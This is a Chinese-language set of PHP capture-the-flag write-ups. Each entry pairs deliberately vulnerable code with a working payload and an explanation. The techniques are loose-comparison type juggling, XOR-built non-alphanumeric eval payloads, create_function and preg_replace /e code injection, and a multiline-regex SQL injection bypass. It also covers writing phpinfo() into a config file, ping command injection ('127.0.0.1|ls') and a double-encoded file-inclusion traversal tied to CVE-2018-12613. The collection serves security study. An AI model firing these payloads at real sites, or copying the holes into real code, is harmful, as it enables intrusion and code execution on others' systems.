1 function check($number) 2 { 3 $one = ord(\'1\'); 4 $nine = ord(\'9\'); 5 for ($i = 0; $i < strlen($number); $i++) 6 { 7 $digit = ord($number{$i}); 8 if ( ($digit >= $one) && ($digit <= $nine) ) 9 { 10 return false; 11 } 12 } 13 return $number == \'11259375\'; 14 }
0xabcdef
用11259375的16进制形式0xabcdef
1 $num=$_GET[\'num\']; 2 if(!is_numeric($num)) 3 { 4 echo $num; 5 if($num==1) 6 echo \'flag{**********}\'; 7 }
?num=1xxx
不能用16进制形式0x1,前面加0形式0001,或者科学计数法形式0e0,因为都会被判断为数字。但可以提交1xxx,后面跟上除了数字,点(两个点可以:1..)以外任意字符即可,php用==比较字符串和数字时,会把字符串隐式转换为数字,如果字符串中有非数字字符,只取最前面的数字,例如"1x"=1,"22asd"=22,"qwe123"=0
1 <?php 2 3 function getFlag() 4 { 5 echo "flagxxxxxxx"; 6 } 7 8 if(isset($_GET[\'code\'])) 9 { 10 $code = $_GET[\'code\']; 11 12 if(strlen($code)>40) 13 { 14 die("Long."); 15 } 16 if(preg_match("/[A-Za-z0-9]+/",$code)) 17 { 18 die("NO."); 19 } 20 21 @eval($code); 22 } 23 //$hint = "php function getFlag() to get flag"; 24 ?>
?code=$_="<%)},?\'"^"[@];@^@";$_();
两句php代码,第一句 $_="<%)},?\'" ^ "[@];@^@"; 是把两个字符串异或运算结果赋给$_变量," <%)},?\' " 这个含7个字符的字符串和 " [@];@^@ " 异或的结果就是getFlag,然后第二句php代码 $_(); 就相当于getFlag();
若是过滤了下划线,则 ${"}"^";"}= "<%)},?\'" ^ "[@];@^@"; ${"}"^";"}();
详见:
https://www.leavesongs.com/penetration/webshell-without-alphanum.html
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
1 <?php 2 3 function flag() 4 { 5 echo "flag{xxxxxxx}"; 6 } 7 8 $sort_by = $_GET[\'sort_by\']; 9 $sorter = \'strnatcasecmp\'; 10 $databases=array(\'1234\',\'4321\'); 11 $sort_function = \' return 1 * \' . $sorter . \'($a["\' . $sort_by . \'"], $b["\' . $sort_by . \'"]);\'; 12 usort($databases, create_function(\'$a, $b\', $sort_function));
?sort_by=1"], $b["1"]);}flag();//
usort里构造了一个匿名函数,参数为$a,$b,函数体为$sort_function,这个匿名函数相当于是这样写的
function anonymouse($a,$b){ 函数体($sort_function) }
1 <?php 2 function flag() 3 { 4 echo "flag{xxxxx}"; 5 } 6 7 $id=$_GET[\'id\']; 8 $str2=\'echo \'.$a.\'test\'.$id.";"; 9 echo $str2; 10 echo "<br/>"; 11 echo "=============================="; 12 echo "<br/>"; 13 $f1 = create_function(\'$a\',$str2); 14 echo "<br/>"; 15 echo "==============================";
?id=1;}flag();// 或者 /?id=1;}flag();/*
原理同上
1 <?php 2 if(!is_array($_GET[\'test\'])){exit();} 3 $test=$_GET[\'test\']; 4 for($i=0;$i<count($test);$i++){ 5 if($test[$i]==="admin"){ 6 echo "error"; 7 exit(); 8 } 9 $test[$i]=intval($test[$i]); 10 } 11 if(array_search("admin",$test)===0){ 12 echo "flag"; 13 } 14 else{ 15 echo "false"; 16 } 17 ?>
?test[]=0
传入test[]=0,那么test就是一个数值型的数组,即 Array ( [0] => 0 ) ,array_search() 在test数值型数组中查找 "admin" 这个字符串的时候,首先会把字符串转换为数字,转换规则具体看本文第二个示例,所以 "admin" 变成了0,array_search()如果查找成功就会返回其键名,test数组中0的键名是0,而0===0。
if (!preg_match(\'/^-?[0-9]+$/m\', $_GET["id"])) { die("ERROR INTEGER REQUIRED"); }
123\nPAYLOAD;
PAYLOAD\n123;
PAYLOAD\n123\nPAYLOAD
sql注入中的一个绕过,该正则由于m修饰符,将只验证其中一行只包含整数
<?php function complexStrtolower($regex,$value){ return preg_replace(\'/(\'.$regex.\')/ei\',\'strtolower("\\1")\',$value); } foreach($_GET as $regex =>$value){ echo complexStrtolower($regex,$value); } function flag(){ echo \'flag{xxxxxxx}\'; } ?>
?%5cS*=${flag()}
\S 匹配任意非空字符,\1 是正则中的反向引用
详见:
1 <?php 2 $str = addslashes($_GET[\'option\']); 3 $file = file_get_contents(\'xxxxx/option.php\'); 4 $file = preg_replace(\'|\$option=\\'.*\\';|\',"\$option=\'$str\';",$file); 5 file_put_contents(\'xxxxx/option.php\',$file); 6 7 ?>
解法1:
?option=%5c%27;phpinfo();//
输入\\';phpinfo();// ,\\'经过addslashes()之后变为\\\\',随后preg_replace会将两个连续的\合并为一个,也就是将\\\\'转为\\\',这样我们就成功引入了一个单引号,闭合上文注释下文,中间加入要执行的代码即可。此时option.php内容就为 $option=\'\\\';phpinfo();//\';
解法2:
?option=%27;%0a phpinfo();//
?option=xx
(. 匹配除换行符 \n 之外的任何单字符)
提交两次,第一次提交后文件内容为:
1 <?php 2 $option=\'\\'; 3 phpinfo();//\';
第二次提交后为:
1 <?php 2 $option=\'xx\'; 3 phpinfo();//\';
解法3:
?option=;phpinfo();
?option=%00
\0: 正则中的反向引用,为 “匹配到的全部内容”
提交两次,第一次提交后文件内容为:
1 <?php 2 $option=\';phpinfo();\';
第二次提交后为:
1 <?php 2 $option=\'$option=\';phpinfo();\';\';
详见:
1 <?php 2 if(!preg_match(\'/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/\',$_GET[\'ip\'])){ 3 header("Location: ?ip=127.0.0.1"); 4 } 5 system("ping -c 2".$_GET[\'ip\']); 6 ?>
?ip=127.0.0.1|ls
即使浏览器将被重定向,此函数也不会停止执行流程,并且脚本仍将使用危险的参数完成运行,但不能在浏览器中轻易地利用此漏洞,因为浏览器将遵循重定向,并且不会显示正在重定向的页面
可以用burp抓包重放
1 <?php 2 include \'f1agi3hEre.php\'; 3 if ("POST" == $_SERVER[\'REQUEST_METHOD\']) 4 { 5 $password = $_POST[\'password\']; 6 if (0 >= preg_match(\'/^[[:graph:]]{12,}$/\', $password)) 7 { 8 echo \'Wrong Format\'; 9 exit; 10 } 11 while (TRUE) 12 { 13 $reg = \'/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/\'; 14 if (6 > preg_match_all($reg, $password, $arr)) 15 break; 16 $c = 0; 17 $ps = array(\'punct\', \'digit\', \'upper\', \'lower\'); 18 foreach ($ps as $pt) 19 { 20 if (preg_match("/[[:$pt:]]+/", $password)) 21 $c += 1; 22 } 23 if ($c < 3) break; 24 if ("42" == $password) echo $flag; 25 else echo \'Wrong password\'; 26 exit; 27 } 28 } 29 highlight_file(__FILE__); 30 ?>
password=%2b42.000000e0 (url编码 + %2b)
php用==比较数值型字符串,会转换为数值进行比较大小。\'+42.000000e0\' ==\'42\'
浮点型结构:
LNUM [0-9]+
DNUM ([0-9]*[\.]{LNUM}) | ({LNUM}[\.][0-9]*)
EXPONENT_DNUM [+-]?(({LNUM} | {DNUM}) [eE][+-]? {LNUM})
整型结构:
decimal : [1-9][0-9]*
| 0
hexadecimal : 0[xX][0-9a-fA-F]+
octal : 0[0-7]+
binary : 0b[01]+
integer : [+-]?decimal
| [+-]?hexadecimal
| [+-]?octal
| [+-]?binary
参考自PHP官方文档:PHP:Float
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can\'t see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . \'?\', \'?\')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . \'?\', \'?\')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can\'t see it";
return false;
}
}
if (! empty($_REQUEST[\'file\'])
&& is_string($_REQUEST[\'file\'])
&& emmm::checkFile($_REQUEST[\'file\'])
) {
include $_REQUEST[\'file\'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
//flag in ffffllllaaaagggg
index.php?file=hint.php%253f/../ffffllllaaaagggg
https://www.jianshu.com/p/0d75017c154f
(phpmyadmin4.8.1远程文件包含漏洞 CVE-2018-12613)
/*****************不定时长期更新****************/